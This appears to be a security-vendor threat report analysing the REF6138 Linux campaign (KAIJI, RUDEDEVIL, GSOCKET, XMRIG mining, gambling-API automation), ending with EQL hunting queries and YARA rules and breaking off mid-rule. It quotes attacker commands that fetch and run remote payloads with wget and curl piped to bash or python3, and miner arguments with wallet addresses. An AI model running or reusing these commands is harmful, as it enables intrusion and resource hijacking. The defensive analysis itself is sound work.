Betting on Bots: Investigating Linux malware, crypto mining, and gambling API abuse

elastic.co/security-labs/betting-on-bots

Subscribe

The REF6138 campaign involved cryptomining, DDoS attacks, and potential money laundering via gambling APIs, highlighting the attackers' use of evolving malware and stealthy communication channels.

80 min read

Malware analysis, Attack pattern

Introduction

In recent months, Elastic Security Labs has uncovered a sophisticated Linux malware campaign targeting vulnerable servers. The attackers initiated the compromise in March 2024 by exploiting an Apache2 web server. Gaining initial access the threat actors deployed a complex intrusion set to establish persistence and expand their control over the compromised host.

The threat actors utilized a mixture of tools and malware, including C2 channels disguised as kernel processes, telegram bots for communication, and cron jobs for scheduled task execution. Notably, they deployed multiple malware families, such as KAIJI and RUDEDEVIL, alongside custom-written malware. KAIJI, known for its DDoS capabilities, and RUDEDEVIL, a cryptocurrency miner, were used to exploit system resources for malicious purposes.

Our investigation revealed a potential Bitcoin/XMR mining scheme that leverages gambling APIs, suggesting the attackers might be conducting money laundering activities using compromised hosts. We also gained access to a file share that hosted daily uploads of fresh KAIJI samples with previously unseen hashes, indicating active development and adaptation by the malware authors.

This research publication delves into the details of the campaign, providing a comprehensive analysis of the attackers' tactics, techniques, and procedures. We explore how they established initial access, the methods used for persistence and privilege escalation, and the malware deployed at each stage. Additionally, we discuss the command and control infrastructure, including the use of GSOCKET and Telegram for stealthy communication.

Execution flow

Initial access

Our team observed a host that was initially compromised in March 2024 by obtaining arbitrary code execution on a server running Apache2. Evidence of this compromise is seen in the execution of the `id` command via the Apache2 process, after which we see the threat actor exploiting the web server and deploying KAIJI malware under the `www-data` user account.

Shortly after the Kaiji deployment, the attacker used the `www-data` account to download a script named `00.sh` from the URL `http://61.160.194[.]160:35130`, which, after further investigation, also hosted several versions of RUDEDEVIL malware.

`00.sh` is a stager that:

- Sets its default shell and PATH.
- Deletes several log files to erase traces of execution.
- Leverages `ps`, `netstat`, `lsof` and a list of common mining process names to kill any potential mining competition on the compromised host.
- Flushes the `iptables` rules on the host, sets several `iptables` rules to block connections to specific destination ports and mining pools, and disables `iptables`.
- Finally, a second stage (`sss6`/`sss68`) is downloaded and executed, and execution traces are erased.

The figure below shows a compressed version of the stager. Lines annotated with `[...]` are shortened to enhance readability.

Fileserver

Via the backdoored web server process, the attacker downloaded and executed malware through the following command:

```
sh -c wget http://107.178.101[.]245:5488/l64;chmod 777 l64;./l64;rm -r l64;wget http://107.178.101[.]245:5488/l86;chmod 777
l86;./l86;rm -r l86
```

The `l64` and `l86` files are downloaded from `http://107.178.101[.]245:5488`, after which they are granted all permissions, executed, and removed. Looking at the server that is hosting these malware samples, we see the following:

This seems to be a file server, hosting several types of malware for different architectures. The file server leverages the Rejetto technology. These malwares have upload dates and download counters. For example, the `download.sh` file that was uploaded September 10th, was already downloaded 3,100 times.

RUDEDEVIL/LUCIFER

Upon closer inspection, the file `sss6`, which was downloaded and executed, has been identified as the RUDEDEVIL malware. Early in the execution process, we encounter an embedded message characteristic of this malware family:

```
Hi, man. I\'ve seen several organizations report my Trojan recently,
Please let me go. I want to buy a car. That\'s all. I don\'t want to hurt others.
I can\'t help it. My family is very poor. In China, it\'s hard to buy a suite.
I don\'t have any accommodation. I don\'t want to do anything illegal.
Really, really, interested, you can give me XmR, my address is
42cjpfp1jJ6pxv4cbjxbbrmhp9yuzsxh6v5kevp7xzngklnutnzqvu9bhxsqbemstvdwymnsysietq5vubezyfoq4ft4ptc,
thank yo
```

We note that the files `l64` and `l86` that are hosted on the file server contain the same malware. When analyzing the execution flow of the malware we see that the main function of the malware performs several key tasks:

- **Daemon Initialization:** The process is converted into a daemon using `daemon(1, 0)`.
- **Socket Creation:** A socket is created and bound to a specific port.
- **Signal Handling:** Custom signal handlers are set up for various signals.
- **Service Initialization:** Several services are started using `SetFILE`.
- **Privilege Handling:** It checks for root privileges and adjusts resource limits accordingly.
- **Decryption:** The malware decrypts its configuration blobs.
- **Thread Creation:** Multiple threads are spawned for tasks like mining, killing processes, and monitoring network and CPU usage.
- **Main Loop:** The program enters an infinite loop where it repeatedly connects to a server and sleeps for a specified duration.

When examining the encryption routine, we find it utilizes XOR-based encoding:

To decode the contents statically, we developed a basic Python snippet:

```
def DecryptData(data_block, encryption_key):
   key_modifier = encryption_key & 0xFF
   key_index = key_modifier // 0x5F  # 0x5F = 95 in decimal
   modifier = (key_modifier - (key_index * 0x5F)) + 0x58  # 0x58 = 88 in decimal

   for i in range(len(data_block)):
       data_block[i] ^= modifier
       data_block[i] &= 0xFF  # Ensure 8-bit value
       data_block[i] += modifier
       data_block[i] &= 0xFF  # Ensure 8-bit value

   return data_block

# Encoded data as hex strings
encoded_data = [
   '4c494356515049490c467978',

'0d4f1e4342405142454d0b42534e380f0f5145424f0c53034e4f4f4a0c4f405738013939391e0d451e020141303727222026254f252d37264340070631495503
2a593330233237587951215553552d464c0101414939514401515258414324273340254756564741404207004122782d50475555412d503106394d4c34554e48513
926352054362a1e0d4e1e20',
   '0f424d4e0f435536575649484b',
   '5642424e380f0f5654430c42014a494c45460c534f4d38070602050f435352434356544b',
]

encryption_key = 0x03FF  # 1023 in decimal

# Process and decrypt each encoded data string
for data in encoded_data:
   # Convert hex string to list of integers
   data_bytes = bytes.fromhex(data)
   data_block = list(data_bytes)

   # Decrypt the data
   decrypted_block = DecryptData(data_block, encryption_key)

   # Convert decrypted data back to bytes
   decrypted_bytes = bytes(decrypted_block)
   print("Decrypted text:", decrypted_bytes.decode('utf-8', errors='ignore'))
```

After decoding the configuration, the following values are revealed:

- The first value C2 domain `nishabii[.]xyz`.
- The second value reveals options that will be passed to XMRIG.
- The third value shows the temp file location the malware uses.
- The fourth and last string shows the download location for the XMRIG binary.

Thread Management in the Malware

The malware initiates several threads to handle its core operations. Let’s explore how some of these functions work in detail.

Understanding the KillPid Function

One of the threads runs the KillPid function, which is designed to continuously monitor and manage processes. The function begins by detaching its current thread, allowing it to run in the background without blocking other processes. It then enters an infinite loop, repeatedly executing its tasks.

At the heart of its functionality is an array called `sb_name`, which contains the names of processes the malware wants to terminate.

Every two seconds, the function checks the system for processes listed in this array, retrieving their process IDs (PIDs) using a helper function called `getPidByName`. After each iteration, it moves to the next process in the list, ensuring all processes in `sb_name` are handled.

Interestingly, after processing all elements in the array, the function enters an extended sleep for 600 seconds — roughly 10 minutes — before resuming its process checks. This extended sleep period is likely implemented to conserve system resources, ensuring the malware doesn't consume too much CPU time while monitoring processes.

Understanding the Get_Net_Messages Function

Another crucial thread is responsible for monitoring network traffic, specifically focusing on the `eth0` network interface. This functionality is handled by the `getOutRates` function. The function begins by setting up necessary variables and opening the `/proc/net/dev` file, which contains detailed network statistics for each interface.

If the file is successfully opened, the malware reads a block of data — up to 1024 bytes — and processes it to extract the relevant network statistics. It specifically looks for the `eth0` interface, parsing the output rate data using a standard string parsing method. If successful, the function returns the output rate for `eth0`; otherwise, it returns `0`, ensuring the malware continues functioning even if an error occurs.

This routine allows the malware to quietly monitor the network activity of the infected machine, likely to track data being sent or received across the interface.

Understanding the Get_Cpu_Message Function

For CPU monitoring, the malware uses the `GetCpuRates` function. This function continuously monitors the CPU usage by reading data from `/proc/stat`. Similar to how the network data is handled, the CPU statistics are read and parsed, allowing the malware to calculate the system's CPU usage.

The function operates in an infinite loop, sleeping for one second between each iteration to avoid overwhelming the system. If the file cannot be opened for some reason, the function logs an error and gracefully exits. However, as long as it's able to read the file, it continually monitors CPU usage, ensuring the malware remains aware of system performance.

Understanding the Send_Host_Message Function

Perhaps the most critical thread is the one responsible for sending system information back to the malware operators. The `_SendInfo` function performs this task by collecting data about the infected system's CPU and network usage. It begins by setting up buffers and preparing file paths to gather the necessary data. Depending on the system's status, it formats the CPU and network usage into a string.

Additionally, the function checks whether a particular process is running on the system and adjusts its formatted message accordingly. Finally, it sends this formatted data back to the command-and-control server via a socket connection.

In essence, this function allows the malware to remotely monitor the infected machine, gathering key details like CPU load and network activity. The operators can use this information to assess the status of their infection and adjust their activities as needed.

Connecting to the Command-and-Control (C2) Server

Once all the threads are up and running, the malware shifts its focus to establishing a connection with its C2 server. This is managed by the `ConnectServer` function in the main thread, which handles communication with the server and executes commands remotely.

Understanding the ConnectServer Function

The first task the `ConnectServer` function performs is establishing a connection to the C2 server using `ServerConnectCli`. After successfully connecting, the malware configures the socket to enable keep-alive settings, ensuring that the connection remains stable over extended periods of time.

Once the connection is set up, the malware collects various pieces of system information, including the hostname, user information, CPU specs, and memory details. This information is then sent to the server as an initial data payload, providing the attackers with a detailed view of the infected machine.

After this initial setup, the malware enters an ongoing loop where it awaits and processes commands from the server. The types of commands handled are varied and can include tasks like launching a DDoS attack, stopping or starting CPU-intensive operations, executing system commands, or managing cryptocurrency mining activities. The loop continues indefinitely, ensuring that the malware is ready to execute any command sent by its operators.

When the connection is no longer needed, or when the malware receives a termination command, it gracefully closes the socket, ending the session with the server.

Command-and-Control (C2) Commands

The `ConnectServer` function processes a variety of commands from the C2 server, each designed to control a different aspect of the infected system. Here's a breakdown of the commands handled by the malware:

- **Case 4:** The malware calls the `DealwithDDoS` function, likely initiating a Distributed Denial of Service (DDoS) attack.
- **Case 5:** Sets the `StopFlag` to `1`, which could signal the malware to stop specific tasks.
- **Case 6:** Downloads a file from the server using `http_get`, changes its permissions, and then executes it. This command allows the attackers to run additional malware or scripts on the infected machine.
- **Case 7:** Executes a system command using the `system` function, providing the attackers with direct control over the system's command line.
- **Case 8:** Sets `StopCpu` to `0`, restarting any previously halted CPU tasks.
- **Case 9:** Sets `StopCpu` to `1`, halting all CPU tasks.
- **Case 0xA:** Updates the CPU mining configuration with new data and retrieves the PID of the current process, allowing the malware to modify its cryptocurrency mining operations.
- **Case 0xB:** Sets `stopxmr` to `1`, effectively stopping the XMRIG miner.
- **Case 0xC:** Resets `stopxmr` to `0` and retrieves the current process PID, resuming the mining activity.

Each command gives the malware operators precise control over how the infected machine behaves, whether it's participating in a DDoS attack, running new malware, or managing mining operations.

Variants of RUDEDEVIL Malware and XMRIG Configuration

While the file server mentioned before was active, we observed multiple versions of the RUDEDEVIL malware being uploaded. The core functionality of these versions remained largely the same, with the only significant variation being the embedded XMRIG commands used for cryptocurrency mining.

Each version of the malware was configured to connect to the same mining pool, `c3pool.org`, but with slight differences in the parameters passed to the XMRIG miner:

- `-o stratum+tcp://auto.c3pool[.]org:19999 -u 41qBGWTRXUoUMGXsr78Aie3LYCBSDGZyaQeceMxn11qi9av1adZqsVWCrUwhhwqrt72qTzMbweeqMbA89mnFepja9XERfHL -p R`
- `-o stratum+tcp://auto.c3pool[.]org:19999 -u 41qBGWTRXUoUMGXsr78Aie3LYCBSDGZyaQeceMxn11qi9av1adZqsVWCrUwhhwqrt72qTzMbweeqMbA89mnFepja9XERfHL -p 2`
- `-o stratum+tcp://auto.c3pool[.]org:19999 -u 41qBGWTRXUoUMGXsr78Aie3LYCBSDGZyaQeceMxn11qi9av1adZqsVWCrUwhhwqrt72qTzMbweeqMbA89mnFepja9XERfHL -p php`
- `-o stratum+tcp://auto.c3pool[.]org:19999 -u 42CJPfp1jJ6PXv4cbjXbBRMhp9YUZsXH6V5kEvp7XzNGKLnuTNZQVU9bhxsqBEMstvDwymNSysietQ5VubezYfoq4fT4Ptc -p 0`

Each of these commands directs the miner to connect to the same mining pool but specifies different wallets or configurations. By examining the `c3pool` application, we confirmed that both XMR addresses associated with these commands are currently active and mining.

Additionally, through this analysis, we were able to estimate the total profit generated by these two mining campaigns, highlighting the financial impact of the RUDEDEVIL malware and its connection to illegal cryptocurrency mining operations.

GSOCKET

To establish persistence, the threat actor downloaded and installed GSOCKET, a network utility designed to enable encrypted communication between machines that are behind firewalls or NAT. GSOCKET creates secure, persistent connections through the Global Socket Relay Network (GSRN). This open-source tool includes features like AES-256 encryption, support for end-to-end communication security, and compatibility with SSH, netcat, and TOR, which allow for encrypted file transfers, remote command execution, and even the creation of hidden services.

Although GSOCKET is not inherently malicious, its features can be leveraged for suspicious purposes.

Once deployed, GSOCKET performs several actions to maintain persistence and conceal its presence. First, it checks the system for active kernel processes to decide which process it will masquerade as:

It then creates the `/dev/shm/.gs-1000` directory to download and store its binary in shared memory. Additionally, by default, it sets up an `/htop` directory under `/home/user/.config/htop/` to store both the GSOCKET binary and the secret key used for its operations.

Next, a cron job that runs the GSOCKET binary with the secret key every minute is set up.

The binary is executed under the name of a kernel process using the `exec -a [process_name]` command, further enhancing the ability to evade detection. The cron job includes a base64 encoded command that, when decoded, ensures the persistence mechanism is regularly executed and disguised as a legitimate kernel process:

When decoding the payload, we see how the `defunct.dat` secret key is used as an argument to execute the `defunct` binary, which is masqueraded as `[raid5wq]` through the use of `exec -a` command:

In addition to using cron jobs, GSOCKET has the capability to establish persistence through shell profile modification, run control (`rc.local`) and Systemd. GSOCKET enumerates potential persistence locations:

GSOCKET supports multiple webhooks, such as Telegram or Discord integrations, enabling remote control and notifications:

Finally, after installation, GSOCKET ensures that all files that are created or modified, will be timestomped to attempt to erase any trace of installation:

These features make GSOCKET an attractive tool for threat actors seeking stealth and persistence. In this campaign, GSOCKET was exploited to establish covert channels back to C2 servers while attempting to evade detection.

Additionally, a PHP payload was fetched from an external IP and saved as `404.php`, likely functioning as a backdoor for future access. We did not manage to obtain this payload.

Post compromise dwell time

After a three-week period of quiet with no noticeable activity, the threat actors resumed operations by utilizing the built-in Python3 to establish a reverse connection to a new command-and-control server.

After regaining access to the host, a newer version of the KAIJI malware was deployed.

KAIJI malware: a comparison to previous samples

While investigating the files on the discovered file server, we saw a shell script. This shell script seems to be the main file used to download by an earlier stage, ensuring the correct architecture for the victim is used.

The same Shell script is found in other reports where this script is used to deploy KAIJI.

As part of our investigation, we analyzed the KAIJI malware samples found on the file server and compared them with samples identified by Black Lotus Labs in 2022. Their detailed analysis of `Chaos` (KAIJI) can be found in their blog post here.

Using BinDiff, a binary comparison tool, we compared the functions in the binaries. The analysis revealed that the code in our sample was identical to the previously identified KAIJI sample from 2022.

Although the code was the same, one critical difference stood out: the C2 server address. Although the functionality remained consistent in both binaries, they pointed to different C2 domains.

Delving deeper into the disassembly, we identified a function named `main_Link`. This function is responsible for decoding the C2 server address used by the malware.

Once decoded, the function searches for the `|(odk)/*-` postfix in the address and removes it, leaving only the C2 domain and port. This process ensures the malware can communicate with its C2 server, though the address it contacts may change between samples.

Given that some resources have been published that statically reverse engineer KAIJI, we will instead take a more detailed look at its behaviors.

After execution, KAIJI creates several files in the `/etc/` and `/dev/` directories, `/etc/id.services.conf`, `/etc/32678`, `/dev/.img` and `/dev/.old`. These scripts are places to establish persistence.

Two services are set up, `/etc/init.d/linux_kill` and `crond.service`. `crond.service` is executed by Systemd, while `linux_kill` is used for SysVinit persistence.

After reloading the Systemd daemon, the first network connection to the C2 is attempted.

Next, the `Systemd Late generator` service file is created. More information on the workings of `Systemd`, and different ways of establishing persistence through this method can be found in our recent blog series dubbed Linux Detection Engineering - A primer on persistence mechanisms.

KAIJI creates the `/boot/System.img.config` file, which is an executable that is executed through the previously deployed `Systemd` services. This binary, is amongst other binaries, another way of establishing persistence.

Next, KAIJI adjusts the `SELinux` policies to allow unauthorized actions. It searches audit logs for denied operations related to `System.img.conf`, generates a new `SELinux` policy to permit these actions, and installs the policy with elevated priority. By doing this, the malware bypasses security restrictions that would normally block its activity.

Additionally, it sets up multiple additional forms of persistence through bash profiles, and creates another two malicious artifacts; `/usr/lib/libd1rpcld.so` and `/.img`.

Right after, `/etc/crontab` is altered through an echo command, ensuring that the `/.img` file is executed by root on a set schedule.

KAIJI continues to move several default system binaries to unusual locations, attempting to evade detection along the way.

KAIJI uses the `renice` command to grant PID `2957`, one of KAIJI's planted executables, the highest possible priority (on a scale of -20 to 19, lowest being the highest priority), ensuring it gets more CPU resources than other processes.

To evade detection, KAIJI employed the bind mount technique, a defense evasion method that obscures malicious activities by manipulating how directories are mounted and viewed within the system.

Finally, we see a trace of `cron` executing the `/.img`, which was planted in the `/etc/crontab` file earlier.

The saga continues

Two weeks later, the Apache backdoor became active again. Another backdoor was downloaded via the `www-data` user through the Apache2 process using the command:

```
sh -c wget http://91.92.241[.]103:8002/gk.php
```

The contents of this payload remain unknown. At this stage, we observed attempts at manual privilege escalation, with the attackers deploying `pspy64`. `Pspy` is a command-line tool for process snooping on Linux systems without requiring root permissions. It monitors running processes, including those initiated by other users, and captures events like cron job executions. This tool is particularly useful for analyzing system activity, spotting privilege escalation attempts, and auditing the commands and file system interactions triggered by processes in real time. It's commonly leveraged by attackers for reconnaissance in post-compromise scenarios, giving them visibility into system tasks and potential vulnerabilities.

Notably, `pspy64` was executed by the `[rcu_preempt]` parent, indicating that the threat actors had transitioned from leveraging the web server backdoor to using the GSOCKET backdoor.

Further attempts at privilege escalation involved exploiting `CVE-2021-4034`, also known as `pwnkit`. This vulnerability affects the `pkexec` component of the PolicyKit package in Linux systems, allowing an unprivileged user to execute arbitrary code with root privileges. By leveraging this flaw, an attacker can gain elevated access to the system, potentially leading to full control over the affected machine.

Custom built binaries

Right after, the attackers attempted to download a custom-built malware named `apache2` and `apache2v86` from:

- `http://62.72.22[.]91/apache2`
- `http://62.72.22[.]91/apache2v86`

We obtained copies of these files, which currently have zero detections on VirusTotal. However, when executing them dynamically, we observed segmentation faults, and our telemetry confirmed segfault activity on the compromised host. Over a week, the threat actor attempted to alter, upload and execute these binaries more than 15 times, but due to repeated segfaults, it is unlikely that they succeeded in running this custom malware.

While the binaries failed to execute, they still provided valuable insights during reverse engineering. We uncovered several XOR-encoded strings within the samples.

The XOR key used to encode the strings was identified as `0x79` (or the character `y`). After decoding the strings, we discovered fragments of an HTTP request header that the malware was attempting to construct:

```
/934d9091-c90f-4edf-8b18-d44721ba2cdc HTTP/1.1
sec-ch-ua: "Chromium";v="122", "Google Chrome";v="122", "Not-A.Brand";v="99
sec-ch-ua-platform: "Windows"
upgrade-insecure-requests: 1
accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-
exchange;v=b3;q=0.9
referer: https://twitter[.]com
accept-language: ru,en-US;q=0.9
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.
```

This indicates that the malware was in the process of constructing HTTP requests. However, based on the incomplete nature of the headers and the repeated failures in execution, it’s clear that this piece of software was not yet fully developed or operational.

Additional reconnaissance

The attackers continued to use tools from The Hacker's Choice, by downloading and executing `whatserver.sh`.

This Shell script is designed to gather and display server information. It extracts details such as the fully qualified domain names (FQDNs) from SSL certificates, Nginx, and Apache configuration files, along with system resource information like CPU and memory usage, virtualization details, and network settings. The script can also summarize recent activities, including last logged-in users and currently listening services.

Mining activities

After nearly two weeks of manual exploitation attempts, the threat actors ceased their efforts to escalate privileges, likely having failed to gain root access. Instead, they established persistence as the `www-data` user, leveraging GSOCKET to set up an SSL connection, which was disguised as a kernel process called `[mm_percpu_wq]`.

After decoding the base64 contents, we get a very familiar looking output:

Through our behavioral rules, we see the threat actor listing the current user's crontab entries, and echoing a payload directly into the crontab.

This command tries to download `http://gcp.pagaelrescate[.]com:8080/ifindyou` every minute, and pipe it to bash. Looking at the contents of `ifindyou`, we see the following Bash script:

This script gathers hostname and IP information, downloads the `SystemdXC` archive from `http://gcp.pagaelrescate[.]com:8080/t9r/SystemdXC` (XMRIG), stores this in `/tmp/SystemdXC`, extracts the archive and executes it with the necessary parameters to start mining Bitcoin.

When examining the mining command, we can see how the malware configures XMRIG:

This command connects to the `unmineable.com` mining pool, using the infected machine's hostname as an identifier in the mining process. At the time of writing, there are 15 active workers mining Bitcoin for the wallet address `1CSUkd5FZMis5NDauKLDkcpvvgV1zrBCBz`.

Upon further investigation into the Bitcoin address, we found that this address has performed a single transaction.

Interestingly, the output address for this transaction points to a well-known hot wallet associated with Binance, indicating that the attackers may have transferred their mining earnings to an exchange platform.

When returning our focus back to the script, we also see two commands commented out, which will become more clear later. The script executes:

```
curl -s http://gcp.pagaelrescate[.]com:8080/cycnet | bash
```

Looking at this payload, we can see the following contents:

This stage checks the output of the command, and sends this to a Telegram chat bot. Through our Telegram behavioral rule, we can see that a Telegram POST request looks like this:

The cron job that is set up during this stage executes at minute 0, every 4th hour. This job executes:

```
curl -s http://gcp.pagaelrescate[.]com:8080/testslot/enviador_slot | python3
```

The downloaded Python script automates interactions with an online gambling game through HTTP requests. The script includes functions that handle user authentication, betting, processing the outcomes, and sending data to a remote server.

Upon closer examination, we identified the following key components of the script:

Global Variables:

- `usuario`: Stores the user ID for managing the session.
- `apuesta`: Represents the bet amount.
- `ganancias`: Tracks the winnings and losses.
- `saldo_actual`: Holds the current account balance.

Understanding the `obteneruid` Function

This function authenticates the user by sending a POST request with the necessary headers and JSON data to the remote server. If the user is not already set, it initializes a new session and retrieves the account balance. Upon successful authentication, it returns a session UUID, which is used for further interactions in the game.

Understanding the `enviardatos` Function

This function sends game data or status updates back to `gcp.pagaelrescate[.]com`, logging the results or actions taken during gameplay. It uses a simple GET request to transmit this data to the remote server.

Understanding the `hacerjugada` Function

The `hacerjugada` function simulates the betting process for a set number of rounds. It sends POST requests to place bets, updates the winnings or losses after each round, and calculates the overall results. If a bonus round is triggered, it calls `completarbono()` to handle any bonus game details. Between each betting round, the function enforces a 30-second delay to mimic natural gameplay and avoid detection.

Understanding the `completarbono` Function

When a bonus round is triggered, this function completes the round by sending a request containing the session ID and round ID. Based on the result, it updates the account balance and logs the winnings or losses. Any change in the balance is sent back to the remote server using the `enviardatos()` function.

Likely Used for Testing Purposes

It's important to note that this script is likely being used for testing purposes, as it interacts with the demo version of the gambling app. This suggests that the attackers might be testing the automation of gambling actions or trying to find vulnerabilities in the app before moving to the live version. The use of a demo environment implies they are refining their approach, potentially in preparation for more sophisticated or widespread attacks.

REF6138 through MITRE ATT&CK

Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks. During this investigation, we identified the following tactics, techniques and sub-techniques:

MITRE ATT&CK tactics, techniques and sub-techniques used

Tactic	Technique	Sub-Technique
Resource Development	T1587: Develop Capabilities	Malware
	T1588: Obtain Capabilities	Tool
	T1608: Stage Capabilities	Upload Malware
		Upload Tool
Initial Access	T1190: Exploit Public-Facing Application	
Execution	T1059: Command and Scripting Interpreter	Unix Shell
		Python
	T1053: Scheduled Task/Job	Cron
Persistence	T1546: Event Triggered Execution	Unix Shell Configuration Modification
	T1053: Scheduled Task/Job	Cron
	T1505: Server Software Component	Web Shell
Privilege Escalation	T1068: Exploitation for Privilege Escalation	
Defense Evasion	T1140: Deobfuscate/Decode Files or Information	
	T1222: File and Directory Permissions Modification	Linux and Mac File and Directory Permissions Modification
	T1564: Hide Artifacts	Hidden Files and Directories
	T1070: Indicator Removal	Timestomp
	T1036: Masquerading	Masquerade Task or Service
	T1027: Obfuscated Files or Information	Software Packing
		Stripped Payloads
		Command Obfuscation
		Encrypted/Encoded File
Discovery	T1057: Process Discovery	
	T1082: System Information Discovery	
	T1061: System Network Configuration Discovery	

Tactic	Technique	Sub-Technique
	T1049: System Network Connections Discovery	
	T1007: System Service Discovery	
Collection	T1119: Automated Collection	
	T1005: Data from Local System	
Command and Control	T1071: Application Layer Protocol	Web Protocols
	T1132: Data Encoding	Standard Encoding
	T1001: Data Obfuscation	
	T1573: Encrypted Channel	Symmetric Cryptography
	T1105: Ingress Tool Transfer	
	T1571: Non-Standard Port	
	T1572: Protocol Tunneling	
	T1102: Web Service	
Impact	T1496: Resource Hijacking	

Detecting REF6138

Elastic Security implements a multi-layer approach to threat detection, leveraging behavioral SIEM and Endpoint rules, YARA signatures and ML-based anomaly detection approaches. This section describes the detections built by Elastic Security that play a big role in capturing the identified threats.

Detection

The following detection rules were observed throughout the analysis of this intrusion set:

Prevention

The following behavior prevention events were observed throughout the analysis of this intrusion set:

The following YARA Signatures are in place to detect the KAIJI and RUDEDEVIL malware samples both as file and in-memory:

The following, soon to be released, endpoint rule alerts were observed throughout the analysis of this intrusion set:

- Potential Shell via Web Server
- Potential Web Server Code Injection
- Potential Shell Executed by Web Server User
- Decode Activity via Web Server
- Linux Telegram API Request
- Suspicious Echo Execution

Hunting queries in Elastic

The events for both KQL and EQL are provided with the Elastic Agent using the Elastic Defend integration. Hunting queries could return high signals or false positives. These queries are used to identify potentially suspicious behavior, but an investigation is required to validate the findings.

EQL queries

Using the Timeline section of the Security Solution in Kibana under the “Correlation” tab, you can use the below EQL queries to hunt for behaviors similar:

Potential XMRIG Execution

The following EQL query can be used to hunt for XMRIG executions within your environment.

```
process where event.type == "start" and event.action == "exec" and (
  (
    process.args in ("-a", "--algo") and process.args in (
      "gr", "rx/graft", "cn/upx2", "argon2/chukwav2", "cn/ccx", "kawpow", "rx/keva", "cn-pico/tlo", "rx/sfx", "rx/arq",
      "rx/0", "argon2/chukwa", "argon2/ninja", "rx/wow", "cn/fast", "cn/rwz", "cn/zls", "cn/double", "cn/r", "cn-pico",
      "cn/half", "cn/2", "cn/xao", "cn/rto", "cn-heavy/tube", "cn-heavy/xhv", "cn-heavy/0", "cn/1", "cn-lite/1",
      "cn-lite/0", "cn/0"
    )
  ) or
  (
    process.args == "--coin" and process.args in ("monero", "arqma", "dero")
  )
) and process.args in ("-o", "--url")
```

MSR Write Access Enabled

XMRIG leverages modprobe to enable write access to MSR. This activity is abnormal, and should not occur by-default.

```
process where event.type == "start" and event.action == "exec" and process.name == "modprobe" and
process.args == "msr" and process.args == "allow_writes=on"
```

Potential GSOCKET Activity

This activity is default behavior when deploying GSOCKET through the recommended deployment methods. Additionally, several arguments are added to the query to decrease the chances of missing a more customized intrusion through GSOCKET.

```
process where event.type == "start" and event.action == "exec" and
process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and
process.command_line : (
"*GS_ARGS=*", "*gs-netcat*", "*gs-sftp*", "*gs-mount*", "*gs-full-pipe*", "*GS_NOINST=*", "*GSOCKET_ARGS=*", "*GS_DSTDIR=*",
"*GS_URL_BASE=*", "*GS_OSARCH=*", "*GS_DEBUG=*", "*GS_HIDDEN_NAME=*", "*GS_HOST=*", "*GS_PORT=*", "*GS_TG_TOKEN=*",
"*GS_TG_CHATID=*", "*GS_DISCORD_KEY=*", "*GS_WEBHOOK_KEY=*"
)
```

Potential Process Masquerading via Exec

GSOCKET leverages the `exec -a` method to run a process under a different name. GSOCKET specifically leverages masquerades as kernel processes, but other malware may masquerade differently.

```
process where event.type == "start" and event.action == "exec" and
process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and process.args == "-c" and process.command_line : "*
exec -a *"
```

Renice or Ulimit Execution

Several malwares, including KAIJI and RUDEDEVIL, leverage the renice utility to change the priority of processes or set resource limits for processes. This is commonly used by miner malware to increase the priority of mining processes to maximize the mining performance.

```
process where event.type == "start" and event.action == "exec" and (
  process.name in ("ulimit", "renice") or (
  process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and process.args == "-c" and
  process.command_line : ("*ulimit*", "*renice*")
  )
)
```

Inexistent Cron(d) Service Started

Both KAIJI and RUDEDEVIL establish persistence through the creation of a `cron(d)` service in `/etc/init.d/cron(d)`. `Cron`, by default, does not use a `SysV Init` service. Execution of a `cron(d)` service is suspicious, and should be analyzed further.

```
process where event.type == "start" and event.action == "exec" and
  process.name == "systemctl" and process.args == "start" and process.args in
  ("cron.service", "crond.service", "cron", "crond")
```

Suspicious /etc/ Process Execution from KAIJI

The `/etc/` directory is not a commonly used directory for process executions. KAIJI is known to place a binary called `32678` and `id.services.conf` in the `/etc/` directory, to establish persistence and evade detection.

```
process where event.type == "start" and event.action == "exec" and (process.executable regex """/etc/[0-9].*""" or
process.executable : ("/etc/*.conf", "/etc/.*"))
```

Hidden File Creation in /dev/ directory

Creating hidden files in `/dev/` and `/dev/shm/` are not inherently malicious, however, this activity should be uncommon. KAIJI, GSOCKET and other malwares such as `K4SPREADER` are known to drop hidden files in these locations.

```
file where event.type == "creation" and file.path : ("/dev/shm/.*", "/dev/.*")
```

Suspicious Process Execution from Parent Executable in /boot/

Malwares such as KAIJI and XORDDOS are known to place executable files in the `/boot/` directory, and leverage these to establish persistence while attempting to evade detection.

```
process where event.type == "start" and event.action == "exec" and process.parent.executable : "/boot/*"
```

YARA

Elastic Security has created YARA rules to identify this activity. Below is the YARA rule to identify the custom `Apache2` malware:

```
rule Linux_Trojan_Generic {
    meta:
        author = "Elastic Security"
        creation_date = "2024-09-20"
        last_modified = "2024-09-20"
        os = "Linux"
        arch = "x86"
        threat_name = "Linux.Trojan.Generic"
        reference = "https://www.elastic.co/security-labs/betting-on-bots"
        license = "Elastic License v2"

    strings:
        $enc1 = { 74 73 0A 1C 1A 54 1A 11 54 0C 18 43 59 5B 3A 11 0B 16 14 10 0C 14 5B }
        $enc2 = { 18 1A 1A 1C 09 0D 43 59 0D 1C 01 0D 56 11 0D 14 15 55 18 09 09 15 10 }
        $enc3 = { 18 1A 1A 1C 09 0D 54 15 18 17 1E 0C 18 1E 1C 43 59 0B 0C }
        $enc4 = { 34 16 03 10 15 15 18 56 4C 57 49 59 51 2E 10 17 1D 16 0E 0A 59 37 }
        $key = "yyyyyyyy"
    condition:
        1 of ($enc*) and $key
}
```

To detect GSOCKET, including several of its adjacent tools, we created the following signature:

```
rule Multi_Hacktool_Gsocket {
    meta:
        author = "Elastic Security"
        creation_date = "2024-09-20"
        last_modified = "2024-09-23"
        os = "Linux, MacOS"
        arch = "x86"
        threat_name = "Multi.Hacktool.Gsocket"
        reference = "https://www.elastic.co/security-labs/betting-on-bots"
        license = "Elastic License v2"

    strings:
        $str1 = "gsocket: gs_funcs not found"
        $str2 = "/share/gsocket/gs_funcs"
        $str3 = "$GSOCKET_ARGS"
        $str4 = "GSOCKET_SECRET"
